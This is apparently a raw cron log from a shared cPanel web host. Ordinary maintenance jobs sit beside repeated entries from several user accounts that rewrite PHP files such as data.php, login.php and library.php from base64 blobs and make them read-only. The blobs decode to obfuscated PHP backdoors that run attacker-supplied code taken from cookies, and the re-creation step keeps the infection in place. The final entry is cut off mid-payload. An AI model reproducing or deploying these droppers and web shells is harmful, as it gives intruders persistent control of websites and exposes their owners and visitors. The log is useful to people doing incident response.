Mar  1 16:54:01 medusa CROND[12109]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:54:01 medusa CROND[12112]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:54:01 medusa CROND[12140]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:54:01 medusa CROND[12141]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:54:01 medusa CROND[12139]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:54:01 medusa CROND[12155]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:54:01 medusa CROND[12157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:54:01 medusa CROND[12156]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:54:01 medusa CROND[12158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:55:01 medusa CROND[1409]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:55:01 medusa CROND[1417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:55:01 medusa CROND[1452]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:55:02 medusa CROND[1483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:55:02 medusa CROND[1544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:55:02 medusa CROND[1546]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:55:02 medusa CROND[1550]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:55:02 medusa CROND[1551]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:55:02 medusa CROND[1554]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:55:02 medusa CROND[1555]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:55:02 medusa CROND[1556]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:55:02 medusa CROND[1557]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:55:02 medusa CROND[1558]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:55:02 medusa CROND[1559]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:55:02 medusa CROND[1560]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:55:02 medusa CROND[1562]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:55:02 medusa CROND[1564]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:55:02 medusa CROND[1566]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:55:02 medusa CROND[1561]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:55:02 medusa CROND[1577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:55:02 medusa CROND[1552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:55:02 medusa CROND[1576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:56:02 medusa CROND[22893]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:56:02 medusa CROND[22894]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:56:02 medusa CROND[22895]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:56:02 medusa CROND[22897]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:56:02 medusa CROND[22898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:56:02 medusa CROND[22899]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:56:02 medusa CROND[22901]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:56:02 medusa CROND[22902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rK